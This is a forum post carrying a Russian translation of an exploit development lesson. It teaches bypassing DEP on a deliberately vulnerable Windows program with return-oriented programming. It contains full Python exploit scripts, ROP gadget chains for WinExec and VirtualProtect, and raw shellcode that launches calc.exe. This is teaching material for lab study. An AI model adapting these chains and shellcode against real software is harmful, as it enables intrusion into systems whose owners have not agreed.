+ Reply to Thread
Results 1 to 11 of 11

Thread: Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

  1. #1
    klaus's Avatar

    Default Exploit Development Course Part 9: Exploitme3 (DEP) (Перевод: klaus)

    Перейти к содержанию


    Exploitme3 (DEP)

    Данные статьи лучше читать в правильном порядке, потому что они являются частью всего курса. Я предполагая, что вы уже ознакомились с материалами Exploitme1 и Exploitme2.

    Данная статья не легка в освоении и может занять некоторое ваше время. Я пытался быть кратким так как не верю в метод повторения чего-бы то ни было помногу раз. Если вы поймете принципы которые кроются за ROP, то и сможете разобраться как все работает. Именно это я делал когда изучал ROP впервые. Также вы должны быть знакомы с языком ассемблера. Что именно делает инструкция RET 0x4? Как аргументы передаются в функцию (в 32-х коде)? Если вы не уверены в своих ответах, вам следует вернутся к изучению ассемблера. Вы предупреждены!

    Давайте начнем…

    Прежде всего, в VS 2013, мы отключим stack cookies, но оставим включенным DEP. Для этого перейдем в Project→properties и изменим конфигурацию для Release:

    Configuration Properties:
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)

    Убедитесь что DEP включен:

    Configuration Properties:
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

    Будем использовать тот же код, что и прежде:

    Code:
    #include <cstdio>
     
    int main() {
        char name[32];
        printf("Reading name from file...\n");
     
        FILE *f = fopen("c:\\name.dat", "rb");
        if (!f)
            return -1;
        fseek(f, 0L, SEEK_END);
        long bytes = ftell(f);
        fseek(f, 0L, SEEK_SET);
        fread(name, 1, bytes, f);
        name[bytes] = '\0';
        fclose(f);
     
        printf("Hi, %s!\n", name);
        return 0;
    }
    Сгенерируем name.dat с помощью Python скрипта который мы использовали для exploitme1.exe:

    Code:
    with open('c:\\name.dat', 'wb') as f:
        ret_eip = '\x80\xa9\xe1\x75'       # "push esp / ret" in kernel32.dll
        shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
              "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
              "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
              "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
              "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
              "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
              "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
              "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
              "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
              "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
              "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
              "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
              "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
              "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
              "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
              "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
              "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
              "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
              "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
              "\x30\x03\xc6\xeb\xdd")
        name = 'a'*36 + ret_eip + shellcode
        f.write(name)
    Стоит заметить, что я изменил ret_eip по причине перезагрузки Windows. Помните что команда для поиска инструкции JMP ESP или эквивалентного кода в kernel32.dll такова:

    Code:
    !py mona jmp -r esp -m kernel32.dll
    Если запустить exploitme3.exe с отключенным DEP, эксплойт будет работать, но без него будет сгенерировано следующее исключение:

    Code:
    (1ee8.c3c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=00000000 ecx=6d593071 edx=005a556b esi=00000001 edi=00000000
    eip=002ef788 esp=002ef788 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    002ef788 e8ffffffff      call    002ef78c
    Берем во внимание то, что EIP = ESP, по этому мы просто перепрыгиваем к ESP, но что-то идет не так. Если мы дизассемблируем код по адресу EIP то увидим что это действительно наш шелл-код:

    Code:
    0:000> u eip
    002ef788 e8ffffffff      call    002ef78c
    002ef78d c05fb911        rcr     byte ptr [edi-47h],11h
    002ef791 0302            add     eax,dword ptr [edx]
    002ef793 0281f1020202    add     al,byte ptr [ecx+20202F1h]
    002ef799 0283c71d33f6    add     al,byte ptr [ebx-9CCE239h]
    002ef79f fc              cld
    002ef7a0 8a07            mov     al,byte ptr [edi]
    002ef7a2 3c02            cmp     al,2
    Часть нашего шелл-кода (смотрите Python скрипт выше):

    Code:
    \xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02
    Как видите, байты совпадают.

    Так в чем же проблема? Проблема в том, что страницы, который содержат данный код помечены как «не выполняемые (not executable)».

    Вот что вы увидите если страница будет помечена как выполняемая:

    Code:
    0:000> !vprot @eip
    BaseAddress:       77c71000
    AllocationBase:    77bd0000
    AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
    RegionSize:        00045000
    State:             00001000  MEM_COMMIT
    Protect:           00000020  PAGE_EXECUTE_READ
    Type:              01000000  MEM_IMAGE
    Важная строка:

    Code:
    Protect:           00000020  PAGE_EXECUTE_READ
    которая значит то, что страница помечена как «только для чтения (readonly)» и «выполняемая (executable)».

    В нашем случае, после исключения, мы видим нечто другое:

    Code:
    0:000> !vprot @eip
    BaseAddress:       0028f000
    AllocationBase:    00190000
    AllocationProtect: 00000004  PAGE_READWRITE
    RegionSize:        00001000
    State:             00001000  MEM_COMMIT
    Protect:           00000004  PAGE_READWRITE
    Type:              00020000  MEM_PRIVATE
    Страница «читаемая (readable)» и «записываемая (writeable)» но не «выполняемая».

    Обьяснение простое: DEP(Data Execution Prevention) помечает все страницы содержащие данные как «не выполняемые (non-executable)». Это включает стек и кучу. Решение простое: не выполнять код в стеке!

    Техника, которая реализует это, называется ROP что значит Return-Oriented Programming (Возвратно-ориентированное программирование).

    Идея проста:
    1. Повторно использовать частик ода уже представленные в модуле
    2. Использовать стек только для контроля данных и потока выполнения

    Рассмотрим следующие три части кода:

    Code:
    piece1:
       pop    eax
       pop    ebx
       ret
     
    piece2:   
       mov    ecx, 4
       ret
     
    piece3:
       pop    edx
       ret
    piece1, piece2 и piece3 – три метки, которые представляют адреса в памяти. Мы используем их в будущем ради замены простых адресов для нашего же удобства.

    Теперь, давайте внесем следующие значения в стек:

    Code:
    esp --> value_for_eax
            value_for_ebx
            piece2
            piece3
            value_for_edx
    Если в начале EIP = piece1 и мы запустим код, вот что случится:


    Схема должна быть ясна, но давайте изучим её шаг за шагом:
    1. Выполнение начинается по адресу peace1 и esp указывает на value_for_eax.
    2. pop eax помещает value_for_eax в eax (esp += 4: сейчас esp указывает на values_for_ebx).
    3. pop ebx помещает value_for_ebx в ebx (esp += 4: сейчас esp указывает на piece2).
    4. ret выталкивает из стека piece2 и переходит к piece2 (esp += 4: сейчас esp указывает на piece3).
    5. mov ecx, 4 помещает 4 в ecx.
    6. ret выталкивает из стека piece3 и переходит к piece3 (esp += 4: сейчас esp указывает на value_for_edx).
    7. pop edx помещает value_for_edx в edx (esp += 4: сейчас esp указывает на some_function).
    8. ret выталкивает из стека some_function и переходит к some_function.

    Мы предполагаем, что some_function никогда ничего не возвращает.

    Теперь должно быть ясно почему техника называется ROP: инструкция RET используется для перемещения от одной части кода к другой. Части кода обычно зовутся gadgets. Gadget – это просто последовательность инструкций, которые заканчиваются инструкцией RET.

    Трудная часть этой статьи в том, что бы найти и соединить правильные gadgets для достижения нашей цели.

    Вызов WinExec напрямую

    Для нашего эксплойта мы хотим выполнит следующее:

    Code:
    WinExec("calc.exe", SW_SHOW);
    ExitThread(0);
    
    Соответствующий ассемблерный код: 
    WinExec("calc.exe", SW_SHOW);
    00361000 6A 05                push        5  
    00361002 68 00 21 36 00       push        362100h  
    00361007 FF 15 04 20 36 00    call        dword ptr ds:[362004h]  
        ExitThread(0);
    0036100D 6A 00                push        0  
    0036100F FF 15 00 20 36 00    call        dword ptr ds:[362000h]
    Следует знать одну важную вещь: WinExec() и ExitThread() удаляют аргументы из стека сами (используя ret 8 и ret 4 соотвественно).

    362100h – это адрес строки «calc.exe» размещенной в секции .rdata. Нам надо поместить строк упрямо в стек. Увы, адрес строки не может быть константой, поэтому нам надо будет вычислить его во время выполнения.

    Прежде всего мы найдем интересующие нас gadgets в kernel32.dll, ntdll и msvcr120.dll. Используем mona еще раз. Если вы еще не делали такое, тогда установите рабочую директорию mona'ы:

    Code:
    !py mona config -set workingfolder "C:\logs\%p"
    Конечно же, вы можете изменять директорию по своему усмотрению. Вырежение %p будет заменятся каждый раз названием выполняемого файла над которым вы работаете.

    Код для нахождения ROP:

    Code:
    !py mona rop -m kernel32.dll,ntdll,msvcr120.dll
    Данная команда выведет много данных и сгенерирует следующие файлы (в директории указаной выше):
    • rop.txt
    • rop_chains.txt
    • rop_suggestions.txt
    • stackpivot.txt

    Посмотрите в файлах что за информацию они содержат.

    Что бы вызвать WinExec и ExitThread, нам надо установить стек так:

    Code:
    cmd:  "calc"
            ".exe"
            0
            WinExec       <----- ESP
            ExitThread
            cmd                  # arg1 of WinExec
            5                    # arg2 (uCmdShow) of WinExec
            ret_for_ExitThread   # не используется
            dwExitCode           # arg1 of ExitThread
    Если мы выполняем RET когда ESP указывает на место указанное выше, тогда выполнится WinExec. WinExec закончит выполнение инструкцией RETN 8 которая извлекает адрес ExitThread из стека, переходит к ExitThread и удаляет два аргумента из стека (увеличивая ESP на 8). ExitThread будет использовать dwExitCode, который размещен в стеке но не вернет его.

    Две проблемы на схеме:
    1. Некоторые байты – NULL;
    2. cmd – не константа, по этому arg1 принадлежаащий WinExec должен быть исправлен во время выполнения.

    Стоит заметить что в нашем случае, когда все данные читаются из файла через функцию fread(), нам не надо избегать null-байтов. Более того, что бы сделать процесс более интересным, мы предположим что null-байты могут появится в нашей ROP цепочке. Вместо 5 (SW_SHOW) мы можем использовать 0x01010101 который работает достаточно хорошо. Первый null DWORD используется для завершения строки cmd, так что нам надо заменить его чем-то подобным 0xffffffff. В завершение, нам надо записать cmd (т.е. адрес строки) в стек во время выполнения.

    Подход такой:


    Сперва мы пропускаем (увеличивая ESP) часть стека которую мы хотим исправить. Далее мы исправляет ту часть стека и, в конце, мы возвращаемся обратно (декрементируя ESP) к части которую мы исправили и «выполняем её» (в том случае если там есть ROP).

    Вот Python скрипт который создает name.dat:

    Code:
    import struct
     
    def write_file(file_path):
        # NOTE: The rop_chain can't contain any null bytes.
     
        msvcr120 = 0x6cf70000
        kernel32 = 0x77120000
        ntdll = 0x77630000
     
        WinExec = kernel32 + 0x92ff1
        ExitThread = ntdll + 0x5801c
        lpCmdLine = 0xffffffff
        uCmdShow = 0x01010101
        dwExitCode = 0xffffffff
        ret_for_ExitThread = 0xffffffff
     
        # These are just padding values.
        for_ebp = 0xffffffff
        for_ebx = 0xffffffff
        for_esi = 0xffffffff
        for_retn = 0xffffffff
     
        rop_chain = [
            msvcr120 + 0xc041d,  # ADD ESP,24 # POP EBP # RETN
    # cmd:
            "calc",
            ".exe",
    # cmd+8:
            0xffffffff,          # zeroed out at runtime
    # cmd+0ch:
            WinExec,
            ExitThread,
    # cmd+14h:
            lpCmdLine,           # arg1 of WinExec (computed at runtime)
            uCmdShow,            # arg2 of WinExec
            ret_for_ExitThread,  # not used
            dwExitCode,          # arg1 of ExitThread
    # cmd+24h:
            for_ebp,
            ntdll + 0xa3f07,     # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
            # now edi = here
     
    # here:
            for_esi,
            for_ebp,
            msvcr120 + 0x45042,  # XCHG EAX,EDI # RETN
            for_retn,
            # now eax = here
     
            msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
            for_ebx,
            for_ebp,
            msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
            for_ebx,
            for_ebp,
            msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
            for_ebx,
            for_ebp,
            msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
            for_ebx,
            for_ebp,
            msvcr120 + 0x92aa3,  # SUB EAX,7 # POP EBX # POP EBP # RETN
            for_ebx,
            for_ebp,
            msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
            for_ebp,
            kernel32 + 0xb7804,  # INC EAX # RETN
            # now eax = cmd+8
     
            # do [cmd+8] = 0:
            msvcr120 + 0x76473,  # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN
            for_esi,
            for_ebp,
            msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
            for_ebp,
            # now eax+0eh = cmd+14h (i.e. eax = cmd+6)
     
            # do ecx = eax:
            msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
            kernel32 + 0xb7a0a,  # XOR EAX,EAX # RETN
            kernel32 + 0xbe203,  # XOR EAX,ECX # POP EBP # RETN 0x08
            for_ebp,
            msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
            for_retn,
            for_retn,
            for_ebp,
            msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
            for_ebp,
            msvcr120 + 0xbfe65,  # SUB EAX,2 # POP EBP # RETN
            for_ebp,
            # now eax = cmd
     
            msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
            # now eax+0eh = cmd+14h
            # now ecx = cmd
     
            kernel32 + 0xa04fc,  # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10
            for_ebp,
            msvcr120 + 0x3936b,  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
            for_retn,
            for_retn,
            for_retn,
            for_retn,
            msvcr120 + 0x1e47e,  # ADD EAX,0C # RETN
            # now eax = cmd+0ch
     
            # do esp = cmd+0ch:
            kernel32 + 0x489c0,  # XCHG EAX,ESP # RETN
        ]
     
        rop_chain = ''.join([x if type(x) == str else struct.pack('<I', x)
                             for x in rop_chain])
     
        with open(file_path, 'wb') as f:
            ret_eip = kernel32 + 0xb7805            # RETN
            name = 'a'*36 + struct.pack('<I', ret_eip) + rop_chain
            f.write(name)
     
     
    write_file(r'c:\name.dat')
    Цепочка gadget’ов довольно запутанная и вам надо потратить некоторое количество времени что бы разобраться в ней. Вы можете захотеть выполнить отладку в WinDbg. Запустите WinDbg, загрузите exploitme3.exe и установите точку останова на ret инструкцию функции main:

    Code:
    bp exploitme3!main+0x86
    Далее нажмите F5 и начните прохождение кода клавишей F10. Используйте dd esp что бы смотреть на стек.

    Пример описания того что происходит для вашего же понимания:

    Code:
    esp += 0x24+4              # ADD ESP,24 # POP EBP # RETN
                                   # This "jumps" to "skip" ------------------------+
    # cmd:                                                                          |
        "calc"                                                                      |
        ".exe"                                                                      |
    # cmd+8:                                                                        |
        0xffffffff,                # zeroed out at runtime                          |
    # cmd+0ch:                                                                      |
        WinExec     <----------------------------------------------------------------)---------------------------+
        ExitThread                                                                  |                            |
    # cmd+14h:                                                                      |                            |
        lpCmdLine                  # arg1 of WinExec (computed at runtime)          |                            |
        uCmdShow                   # arg2 of WinExec                                |                            |
        ret_for_ExitThread         # not used                                       |                            |
        dwExitCode                 # arg1 of ExitThread                             |                            |
    # cmd+24h:                                                                      |                            |
        for_ebp                                                                     |                            |
                                                                                    |                            |
    skip:           <---------------------------------------------------------------+                            |
        edi = esp                  # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04  |
                                   # ----> now edi = here                                                        |
    # here:                                                                                                      |
        eax = edi                  # XCHG EAX,EDI # RETN                                                         |
                                   # ----> now eax = here                                                        |
                                                                                                                 |
        eax -= 36                  # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                                   # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                                   # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                                   # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                                   # SUB EAX,7 # POP EBX # POP EBP # RETN                                        |
                                   # SUB EAX,2 # POP EBP # RETN                                                  |
                                   # INC EAX # RETN                                                              |
                                   # ----> now eax = cmd+8 (i.e. eax --> value to zero-out)                      |
                                                                                                                 |
        dword ptr [eax] = 0        # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN           |
                                                                                                                 |
        eax -= 2                   # SUB EAX,2 # POP EBP # RETN                                                  |
                                   # ----> now eax+0eh = cmd+14h (i.e. eax+0eh --> lpCmdLine on the stack)       |
                                                                                                                 |
        ecx = eax                  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
                                   # XOR EAX,EAX # RETN                                                          |
                                   # XOR EAX,ECX # POP EBP # RETN 0x08                                           |
                                                                                                                 |
        eax -= 6                   # SUB EAX,2 # POP EBP # RETN                                                  |
                                   # SUB EAX,2 # POP EBP # RETN                                                  |
                                   # SUB EAX,2 # POP EBP # RETN                                                  |
                                   # ----> now eax = cmd                                                         |
                                                                                                                 |
        swap(eax,ecx)              # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
                                   # ----> now eax+0eh = cmd+14h                                                 |
                                   # ----> now ecx = cmd                                                         |
                                                                                                                 |
        [eax+0eh] = ecx            # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10                           |
                                                                                                                 |
        eax = ecx                  # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN                                      |
        eax += 12                  # ADD EAX,0C # RETN                                                           |
                                   # ----> now eax = cmd+0ch                                                     |
        esp = eax                  # XCHG EAX,ESP # RETN                                                         |
                                   # This "jumps" to cmd+0ch ----------------------------------------------------+
    Отключение DEP

    Оказывается, что DEP можно отключить программно. Проблема DEP в том, что приложения могут не работать с ним, поэтому его надо хорошо настроить.

    На глобальном уровне, DEP может быть:
    • AlwaysOn
    • AlwaysOff
    • OptIn: DEP включен толькоо для системных процессов и приложений запущенных пользователем
    • OptOut: DEP включен для всех приложений, исключая те, которые пользователь добавил в список отключенных

    DEP может быть включен или выключен для каждого процесса используя SetProcessDEPPolicy.

    Существует множество способов обойти DEP:
    • VirtualProtect() что бы сделать память выполняемой.
    • VirtualAlloc() что бы выделить выполняемую память.
      Заметьте: VirtualAlloc() может быть использована для выдачи памяти сразу же после указания её адреса. Что бы сделать страницу выполняемой, достаточно выделить один байт (длина = 1) этой памяти!
    • HeapCreate() + HeapAlloc() + скопировать память.
    • SetProcessDEPPolicy() что бы отключить DEP. Это не работает если DEP - AlwaysOn или если SetProcessDEPPolicy() уже был вызван для текущего процесса.
    • NtSetInformationProcess() что бы отключить DEP. Не получится если DEP имеет опцию AlwaysON или если модуль был скомпилирован с параметром /NXCOMPAT или если функция была уже вызвана текущим процессов.

    Полезная таблица от Team Corelan:


    Если посмотреть в файл rop_chains.txt, вы увидите, что mona сгенерировала цепочку из VirtualProtect.

    Давайте используем это! Прежде всего посмотрим на VirtualProtect.

    Сигнатура такая:

    Code:
    BOOL WINAPI VirtualProtect(
      _In_   LPVOID lpAddress,
      _In_   SIZE_T dwSize,
      _In_   DWORD flNewProtect,
      _Out_  PDWORD lpflOldProtect
    );
    Данная функция модифицирует атрибуты доступа к страницам определенного участка памяти. Мы будем использовать flNewProtect = 0x40 (PAGE_EXECUTE_READWRITE). Делая участок стека который содержит наш шелл-код исполняемым, мы сможем выполнить шелл-код как делали это прежде.

    Цепочка сгенерированная mona'й для Python:

    Code:
    def create_rop_chain():
     
      # rop chain generated with mona.py - www.corelan.be
      rop_gadgets = [
        0x6d02f868,  # POP EBP # RETN [MSVCR120.dll]
        0x6d02f868,  # skip 4 bytes [MSVCR120.dll]
        0x6cf8c658,  # POP EBX # RETN [MSVCR120.dll]
        0x00000201,  # 0x00000201-> ebx
        0x6d02edae,  # POP EDX # RETN [MSVCR120.dll]
        0x00000040,  # 0x00000040-> edx
        0x6d04b6c4,  # POP ECX # RETN [MSVCR120.dll]
        0x77200fce,  # &Writable location [kernel32.dll]
        0x776a5b23,  # POP EDI # RETN [ntdll.dll]
        0x6cfd8e3d,  # RETN (ROP NOP) [MSVCR120.dll]
        0x6cfde150,  # POP ESI # RETN [MSVCR120.dll]
        0x7765e8ae,  # JMP [EAX] [ntdll.dll]
        0x6cfc0464,  # POP EAX # RETN [MSVCR120.dll]
        0x6d0551a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
        0x6d02b7f9,  # PUSHAD # RETN [MSVCR120.dll]
        0x77157133,  # ptr to 'call esp' [kernel32.dll]
      ]
      return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    Идея цепочки проста: сначала мы помещаем правильные значения в регистры, потом пушим все регистры в стек с помощью инструкции PUSHAD. Как и прежде, давайте избавимся от null-байтов. Как вы уже успели заметить, данная цепочка содержит несколько таких байтов, поэтому я модифицировал её немного что бы избавится от них.

    Прочитайте следующий код очень внимательно, обращайте внимание на описание действий в комментариях:

    Code:
    import struct
     
    # Сигнатура VirtualProtect следующая:
    #   BOOL WINAPI VirtualProtect(
    #     _In_   LPVOID lpAddress,
    #     _In_   SIZE_T dwSize,
    #     _In_   DWORD flNewProtect,
    #     _Out_  PDWORD lpflOldProtect
    #   );
     
    # После того как PUSHAD выполнится, стек примет следующий вид:
    #   .
    #   .
    #   .
    #   EDI (указатель на ROP NOP (RETN))          <---------------------------- текущий ESP
    #   ESI (указатель на JMP [EAX] (EAX = адрес указателя на VirtualProtect))
    #   EBP (указатель на POP (пропускает EAX в стек))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (указатель на адреса для записи(writeable address)))
    #   EAX (адрес указателя на VirtualProtect)
    # lpAddress:
    #   указатель на "call esp"
    #   <шелл-код>
     
    msvcr120 = 0x6cf70000
    kernel32 = 0x77120000
    ntdll = 0x77630000
     
    def create_rop_chain():
        for_edx = 0xffffffff
     
        # rop chain generated with mona.py - www.corelan.be (and modified by me).
        rop_gadgets = [
            msvcr120 + 0xbf868,  # POP EBP # RETN [MSVCR120.dll]
            msvcr120 + 0xbf868,  # skip 4 bytes [MSVCR120.dll]
     
            # ebx = 0x400 (dwSize)
            msvcr120 + 0x1c658,  # POP EBX # RETN [MSVCR120.dll]
            0x11110511,
            msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
            0xeeeefeef,
            msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
            for_edx,
     
            # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
            msvcr120 + 0xbedae,  # POP EDX # RETN [MSVCR120.dll]
            0x01010141,
            ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
            0xfefefeff,
            msvcr120 + 0x39b41,  # ADD EDX,EDI # RETN [MSVCR120.dll]
     
            msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
            kernel32 + 0xe0fce,  # &Writable location [kernel32.dll]
            ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
            msvcr120 + 0x68e3d,  # RETN (ROP NOP) [MSVCR120.dll]
            msvcr120 + 0x6e150,  # POP ESI # RETN [MSVCR120.dll]
            ntdll + 0x2e8ae,     # JMP [EAX] [ntdll.dll]
            msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
            msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
            msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
            kernel32 + 0x37133,  # ptr to 'call esp' [kernel32.dll]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = kernel32 + 0xb7805            # RETN
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain() + shellcode
            f.write(name)
     
    write_file(r'c:\name.dat')
    Вот еще раз основные комметарии:

    Code:
    # После того как PUSHAD выполнится, стек примет следующий вид:
    #   .
    #   .
    #   .
    #   EDI (указатель на ROP NOP (RETN))          <---------------------------- текущий ESP
    #   ESI (указатель на JMP [EAX] (EAX = адрес указателя на VirtualProtect))
    #   EBP (указатель на POP (пропускает EAX в стек))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (указатель на адреса для записи(writeable address)))
    #   EAX (адрес указателя на VirtualProtect)
    # lpAddress:
    #   указатель на "call esp"
    #   <шелл-код>
    PUSHAD пушит в стек регистры EAX, ECX, EDX, EBX, исходный ESP, EBP, ESI, EDI. Регистры пушатся по одному за раз, поэтому их порядок в стеке противоположный, как вы могли убедиться из комментариев выше.

    Также стоит заметить, что перед тем как PUSHAD выполнилась, ESP указывал на последний dword цепочки (указатель на ‘call esp’ [kernel32.dll]), и PUSHAD запушил значение в стек (ESP (lpAddress (automatic))). Это значение становится lpAddress которое является стартовым адресом участка памяти, параметры доступа которого мы хотим изменить.

    После того как PUSHAD выполнится, ESP указывает на DWORD где EDI был запушен (смотрите на текущий ESP выше). В PUSHAD gadget’e, PUSHAD следует за RET:

    Code:
    msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
    Этот RET выталкивает из стека DWORD где EDI был запушен и переходит на NOP gadget (NOP означает «никакого действия») который выталкивает из стека DWORD где ESI был запушен и перешел (jmp) на JMP [EAX] gadget. Из-за того что EAX содержит адрес указателя на VirtualProtect, этот gadget переходит на VirtualProtect.

    Помните что стек настроен правильно для VirtualProtect:

    Code:
    EBP (указатель на POP (пропускает EAX в стек))
    ESP (lpAddress (automatic))
    EBX (dwSize)
    EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    ECX (lpOldProtect (указатель на адреса для записи(writeable address)))
